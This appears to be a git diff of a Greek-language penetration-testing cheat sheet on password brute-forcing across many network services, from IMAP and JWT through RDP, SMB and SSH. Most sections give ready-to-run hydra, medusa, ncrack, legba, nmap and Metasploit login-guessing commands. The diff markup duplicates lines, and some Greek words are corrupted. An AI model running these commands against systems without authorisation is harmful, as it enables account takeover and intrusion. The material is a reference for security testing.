# Check also https://github.com/evilsocket/legba/wiki/HTTP
|
||||||
```
|
```
|
||||||
|
|
||||||
### IMAP
|
### IMAP
|
||||||
|
|
||||||
Η IMAP (Internet Message Access Protocol) είναι μια διαδεδομένη μέθοδος επίθεσης brute force σε email λογαριασμούς.
|
Η IMAP (Internet Message Access Protocol) είναι μια διαδεδομένη μέθοδος επίθεσης brute force σε email λογαριασμούς.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
|
||||||
nmap -sV --script imap-brute -p <PORT> <IP>
|
nmap -sV --script imap-brute -p <PORT> <IP>
|
||||||
legba imap --username user --password data/passwords.txt --target localhost:993
|
legba imap --username user --password data/passwords.txt --target localhost:993
|
||||||
```
|
```
|
||||||
|
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
Το Internet Relay Chat (IRC) είναι ένα πρωτόκολλο επικοινωνίας σε πραγματικό χρόνο που χρησιμοποιείται για συνομιλίες σε ομάδες.
|
Το Internet Relay Chat (IRC) είναι ένα πρωτόκολλο επικοινωνίας σε πραγματικό χρόνο που χρησιμοποιείται για συνομιλίες σε ομάδες.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### ISCSI
|
### ISCSI
|
||||||
|
|
||||||
Η ISCSI (Internet Small Computer System Interface) είναι μια τεχνολογία που επιτρέπει τη μεταφορά SCSI εντολών πάνω από δίκτυα TCP/IP.
|
Η ISCSI (Internet Small Computer System Interface) είναι μια τεχνολογία που επιτρέπει τη μεταφορά SCSI εντολών πάνω από δίκτυα TCP/IP.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### JWT
|
### JWT
|
||||||
|
|
||||||
Το JSON Web Token (JWT) είναι ένα ασφαλές τρόπος μεταφοράς πληροφοριών μεταξύ δύο συστημάτων.
|
Το JSON Web Token (JWT) είναι ένα ασφαλές τρόπος μεταφοράς πληροφοριών μεταξύ δύο συστημάτων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#hashcat
|
#hashcat
|
||||||
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
|
||||||
|
@ -246,31 +285,41 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
|
||||||
#https://github.com/lmammino/jwt-cracker
|
#https://github.com/lmammino/jwt-cracker
|
||||||
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
|
||||||
```
|
```
|
||||||
|
|
||||||
### LDAP
|
### LDAP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script ldap-brute -p 389 <IP>
|
nmap --script ldap-brute -p 389 <IP>
|
||||||
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
|
||||||
```
|
```
|
||||||
|
|
||||||
### MQTT
|
### MQTT
|
||||||
|
|
||||||
```
|
```
|
||||||
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
|
||||||
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### Mongo
|
### Mongo
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
nmap -sV --script mongodb-brute -n -p 27017 <IP>
|
||||||
use auxiliary/scanner/mongodb/mongodb_login
|
use auxiliary/scanner/mongodb/mongodb_login
|
||||||
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
### MSSQL
|
### MSSQL
|
||||||
|
|
||||||
Η επίθεση Brute Force εναντίον του MSSQL γίνεται συνήθως με τη χρήση εργαλείων όπως το Hydra, το Metasploit ή το Nmap. Μπορείτε επίσης να χρησιμοποιήσετε λεξικούς επιθέσεων όπως το RockYou για να δοκιμάσετε συνηθισμένες κωδικές πρόσβασης.
|
Η επίθεση Brute Force εναντίον του MSSQL γίνεται συνήθως με τη χρήση εργαλείων όπως το Hydra, το Metasploit ή το Nmap. Μπορείτε επίσης να χρησιμοποιήσετε λεξικούς επιθέσεων όπως το RockYou για να δοκιμάσετε συνηθισμένες κωδικές πρόσβασης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
|
||||||
```
|
```
|
||||||
|
|
||||||
### MySQL
|
### MySQL
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης εναντίον συστημάτων MySQL. Ο εισβολέας χρησιμοποιεί λίστες με συνηθισμένα ονόματα χρηστών και κωδικούς πρόσβασης για να δοκιμάσει να εισέλθει στο σύστημα. Η προστασία ενάντια σε αυτή την επίθεση περιλαμβάνει τη χρήση ισχυρών, μη προβλέψιμων κωδικών πρόσβασης και την περιορισμένη πρόσβαση στον MySQL server.
|
Η επίθεση Brute Force είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης εναντίον συστημάτων MySQL. Ο εισβολέας χρησιμοποιεί λίστες με συνηθισμένα ονόματα χρηστών και κωδικούς πρόσβασης για να δοκιμάσει να εισέλθει στο σύστημα. Η προστασία ενάντια σε αυτή την επίθεση περιλαμβάνει τη χρήση ισχυρών, μη προβλέψιμων κωδικών πρόσβασης και την περιορισμένη πρόσβαση στον MySQL server.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# hydra
|
# hydra
|
||||||
hydra -L usernames.txt -P pass.txt <IP> mysql
|
hydra -L usernames.txt -P pass.txt <IP> mysql
|
||||||
|
@ -284,9 +333,11 @@ medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on fir
|
||||||
#Legba
|
#Legba
|
||||||
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
|
||||||
```
|
```
|
||||||
|
|
||||||
### OracleSQL
|
### OracleSQL
|
||||||
|
|
||||||
Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made.
|
Brute-force attacks against Oracle databases can be performed using tools like Hydra or custom scripts. These attacks involve trying multiple username and password combinations until the correct one is found. It is important to note that brute-force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
|
||||||
|
|
||||||
|
@ -310,17 +361,23 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
|
||||||
|
|
||||||
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
Για να χρησιμοποιήσετε το **oracle\_login** με το **patator** χρειάζεστε να **εγκαταστήσετε**:
|
Για να χρησιμοποιήσετε το **oracle\_login** με το **patator** χρειάζεστε να **εγκαταστήσετε**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
pip3 install cx_Oracle --upgrade
|
pip3 install cx_Oracle --upgrade
|
||||||
```
|
```
|
||||||
[Εξωτερική επίθεση χωρίς ίχνη με brute force σε hash OracleSQL εκτός σύνδεσης](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**εκδόσεις 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** και **11.2.0.3**):
|
|
||||||
|
[Εξωτερική επίθεση χωρίς ίχνη με brute force σε hash OracleSQL εκτός σύνδεσης](https://github.com/carlospolop/hacktricks/blob/gr/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**εκδόσεις 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** και **11.2.0.3**):
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
|
||||||
```
|
```
|
||||||
|
|
||||||
### POP
|
### POP
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης στον κόσμο της κυβερνοασφάλειας. Στην επίθεση Brute Force, ο εισβολέας προσπαθεί να ανακαλύψει τον κωδικό πρόσβασης ενός λογαριασμού δοκιμάζοντας συνεχώς διαφορετικούς συνδυασμούς κωδικών, μέχρι να βρει τον σωστό. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε διάφορες υπηρεσίες, όπως email λογαριασμούς, κοινωνικά δίκτυα, και άλλες online πλατφόρμες.
|
Η επίθεση Brute Force είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης στον κόσμο της κυβερνοασφάλειας. Στην επίθεση Brute Force, ο εισβολέας προσπαθεί να ανακαλύψει τον κωδικό πρόσβασης ενός λογαριασμού δοκιμάζοντας συνεχώς διαφορετικούς συνδυασμούς κωδικών, μέχρι να βρει τον σωστό. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να αποκτήσει πρόσβαση σε διάφορες υπηρεσίες, όπως email λογαριασμούς, κοινωνικά δίκτυα, και άλλες online πλατφόρμες.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
|
||||||
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
|
||||||
|
@ -331,9 +388,11 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar
|
||||||
# SSL
|
# SSL
|
||||||
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
|
||||||
```
|
```
|
||||||
|
|
||||||
### PostgreSQL
|
### PostgreSQL
|
||||||
|
|
||||||
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο βασικές τεχνικές επίθεσης στην PostgreSQL. Αυτή η τεχνική περιλαμβάνει τη δοκιμή όλων των πιθανών συνδυασμών για κωδικούς πρόσβασης ή άλλες μορφές αυθεντικοποίησης. Οι επιτιθέμενοι χρησιμοποιούν λίστες κωδικών, λεξικά ή ακόμα και γεννήτριες κωδικών για να δοκιμάσουν όλες τις πιθανές τιμές. Αυτή η τεχνική μπορεί να είναι αποτελεσματική αν ο κωδικός πρόσβασης είναι αδύνατος ή αν δεν υπάρχουν περιορισμοί στις προσπάθειες εισόδου.
|
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο βασικές τεχνικές επίθεσης στην PostgreSQL. Αυτή η τεχνική περιλαμβάνει τη δοκιμή όλων των πιθανών συνδυασμών για κωδικούς πρόσβασης ή άλλες μορφές αυθεντικοποίησης. Οι επιτιθέμενοι χρησιμοποιούν λίστες κωδικών, λεξικά ή ακόμα και γεννήτριες κωδικών για να δοκιμάσουν όλες τις πιθανές τιμές. Αυτή η τεχνική μπορεί να είναι αποτελεσματική αν ο κωδικός πρόσβασης είναι αδύνατος ή αν δεν υπάρχουν περιορισμοί στις προσπάθειες εισόδου.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
|
||||||
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
|
||||||
|
@ -343,101 +402,129 @@ use auxiliary/scanner/postgres/postgres_login
|
||||||
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
|
||||||
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
|
||||||
```
|
```
|
||||||
|
|
||||||
### PPTP
|
### PPTP
|
||||||
|
|
||||||
Μπορείτε να κατεβάσετε το πακέτο `.deb` για εγκατάσταση από [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
Μπορείτε να κατεβάσετε το πακέτο `.deb` για εγκατάσταση από [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
|
||||||
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### RDP
|
### RDP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
|
||||||
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
|
||||||
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Redis
|
### Redis
|
||||||
|
|
||||||
Redis (Remote Dictionary Server) είναι ένα open-source in-memory key-value αποθηκευτικό σύστημα δεδομένων.
|
Redis (Remote Dictionary Server) είναι ένα open-source in-memory key-value αποθηκευτικό σύστημα δεδομένων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/redis/redis_login
|
msf> use auxiliary/scanner/redis/redis_login
|
||||||
nmap --script redis-brute -p 6379 <IP>
|
nmap --script redis-brute -p 6379 <IP>
|
||||||
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
|
||||||
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rexec
|
### Rexec
|
||||||
|
|
||||||
Η επίθεση Rexec είναι μια μορφή επίθεσης brute-force που στοχεύει στον έλεγχο ταυτότητας του χρήστη σε ένα σύστημα.
|
Η επίθεση Rexec είναι μια μορφή επίθεσης brute-force που στοχεύει στον έλεγχο ταυτότητας του χρήστη σε ένα σύστημα.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rlogin
|
### Rlogin
|
||||||
|
|
||||||
### Επίθεση Brute Force
|
### Επίθεση Brute Force
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια τεχνική που στοχεύει στην αναγωγή του κωδικού πρόσβασης ενός συστήματος με τη δοκιμή εναλλακτικϽν κωδικϽν μέχρι να βρεθεί ο σωστός. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί στο πρωτόκολλο Rlogin για να αποκτηθεί πρόσβαση σε ένα σύστημα.
|
Η επίθεση Brute Force είναι μια τεχνική που στοχεύει στην αναγωγή του κωδικού πρόσβασης ενός συστήματος με τη δοκιμή εναλλακτικϽν κωδικϽν μέχρι να βρεθεί ο σωστός. Αυτή η τεχνική μπορεί να χρησιμοποιηθεί στο πρωτόκολλο Rlogin για να αποκτηθεί πρόσβαση σε ένα σύστημα.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
### Rsh
|
### Rsh
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια από τις πιο απλές μεθόδους επίθεσης. Στην ουσία, ο εισβολέας δοκιμάζει όλους τους πιθανούς συνδυασμούς χρησιμοποιώντας λίστα κωδικών πρόσβασης μέχρι να βρει τον σωστό. Αυτή η μέθοδος μπορεί να είναι αποτελεσματική, αλλά μπορεί να απαιτήσει πολύ χρόνο, ειδικά αν ο κωδικός πρόσβασης είναι πολύπλοκος.
|
Η επίθεση Brute Force είναι μια από τις πιο απλές μεθόδους επίθεσης. Στην ουσία, ο εισβολέας δοκιμάζει όλους τους πιθανούς συνδυασμούς χρησιμοποιώντας λίστα κωδικών πρόσβασης μέχρι να βρει τον σωστό. Αυτή η μέθοδος μπορεί να είναι αποτελεσματική, αλλά μπορεί να απαιτήσει πολύ χρόνο, ειδικά αν ο κωδικός πρόσβασης είναι πολύπλοκος.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
hydra -L <Username_list> rsh://<Victim_IP> -v -V
|
||||||
```
|
```
|
||||||
|
|
||||||
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
|
||||||
|
|
||||||
### Rsync
|
### Rsync
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
|
||||||
```
|
```
|
||||||
|
|
||||||
### RTSP
|
### RTSP
|
||||||
|
|
||||||
### RTSP
|
### RTSP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt <IP> rtsp
|
hydra -l root -P passwords.txt <IP> rtsp
|
||||||
```
|
```
|
||||||
|
|
||||||
### SFTP
|
### SFTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
|
|
||||||
### SNMP
|
### SNMP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
msf> use auxiliary/scanner/snmp/snmp_login
|
msf> use auxiliary/scanner/snmp/snmp_login
|
||||||
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
|
||||||
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
|
||||||
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
|
||||||
```
|
```
|
||||||
|
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
#### Επίθεση Brute Force
|
#### Επίθεση Brute Force
|
||||||
|
|
||||||
Η επίθεση Brute Force είναι μια τεχνική επίθεσης που στοχεύει στην αναγνώριση κωδικών πρόσβασης με τη δοκιμή όλων των πιθανών συνδυασμών μέχρι να βρεθεί ο σωστός κωδικός. Αυτή η μέθοδος είναι αποτελεσματική όταν οι κωδικοί πρόσβασης είναι αδύνατο να προβλεφθούν ή να ανακτηθούν με άλλο τρόπο.
|
Η επίθεση Brute Force είναι μια τεχνική επίθεσης που στοχεύει στην αναγνώριση κωδικών πρόσβασης με τη δοκιμή όλων των πιθανών συνδυασμών μέχρι να βρεθεί ο σωστός κωδικός. Αυτή η μέθοδος είναι αποτελεσματική όταν οι κωδικοί πρόσβασης είναι αδύνατο να προβλεφθούν ή να ανακτηθούν με άλλο τρόπο.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap --script smb-brute -p 445 <IP>
|
nmap --script smb-brute -p 445 <IP>
|
||||||
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
|
||||||
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
|
||||||
```
|
```
|
||||||
|
|
||||||
### SMTP
|
### SMTP
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
|
||||||
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
|
||||||
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
|
||||||
```
|
```
|
||||||
|
|
||||||
### SOCKS
|
### SOCKS
|
||||||
|
|
||||||
Το SOCKS είναι ένα πρωτόκολλο που επιτρέπει στους χρήστες να δρομολογούν την κυκλοφορία του δικτύου μέσω ενός διακομιστή προκειμένου να ανωνυμοποιηθούν και να παρακάμψουν φίλτρα πρόσβασης.
|
Το SOCKS είναι ένα πρωτόκολλο που επιτρέπει στους χρήστες να δρομολογούν την κυκλοφορία του δικτύου μέσω ενός διακομιστή προκειμένου να ανωνυμοποιηθούν και να παρακάμψουν φίλτρα πρόσβασης.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
|
||||||
# With alternative address
|
# With alternative address
|
||||||
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
|
||||||
```
|
```
|
||||||
|
|
||||||
### SQL Server
|
### SQL Server
|
||||||
|
|
||||||
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο δημοφιλείς τεχνικές εισβολής στο SQL Server. Σε αυτήν την τεχνική, ο εισβολέας δοκιμάζει συνεχώς διαφορετικές συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης μέχρι να βρει το σωστό συνδυασμό που του επιτρέπει να εισέλθει στο σύστημα. Αυτή η τεχνική μπορεί να είναι χρονοβόρα, αλλά σε ορισμένες περιπτώσεις μπορεί να οδηγήσει σε επιτυχή εισβολή.
|
Η επίθεση με βίαιη δύναμη είναι μια από τις πιο δημοφιλείς τεχνικές εισβολής στο SQL Server. Σε αυτήν την τεχνική, ο εισβολέας δοκιμάζει συνεχώς διαφορετικές συνδυασμούς ονομάτων χρηστών και κωδικών πρόσβασης μέχρι να βρει το σωστό συνδυασμό που του επιτρέπει να εισέλθει στο σύστημα. Αυτή η τεχνική μπορεί να είναι χρονοβόρα, αλλά σε ορισμένες περιπτώσεις μπορεί να οδηγήσει σε επιτυχή εισβολή.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
#Use the NetBIOS name of the machine as domain
|
#Use the NetBIOS name of the machine as domain
|
||||||
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||||
|
@ -446,9 +533,11 @@ medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq
|
||||||
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||||
```
|
```
|
||||||
|
|
||||||
### SSH
|
### SSH
|
||||||
|
|
||||||
SSH (Secure Shell) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για ασφαλή ανταλλαγή δεδομένων μεταξύ δύο συστημάτων.
|
SSH (Secure Shell) είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για ασφαλή ανταλλαγή δεδομένων μεταξύ δύο συστημάτων.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||||
|
@ -458,6 +547,7 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
||||||
# Try keys from a folder
|
# Try keys from a folder
|
||||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||||
```
|
```
|
||||||
|
|
||||||
#### Αδύναμα κλειδιά SSH / Προβλέψιμο PRNG του Debian
|
#### Αδύναμα κλειδιά SSH / Προβλέψιμο PRNG του Debian
|
||||||
|
|
||||||
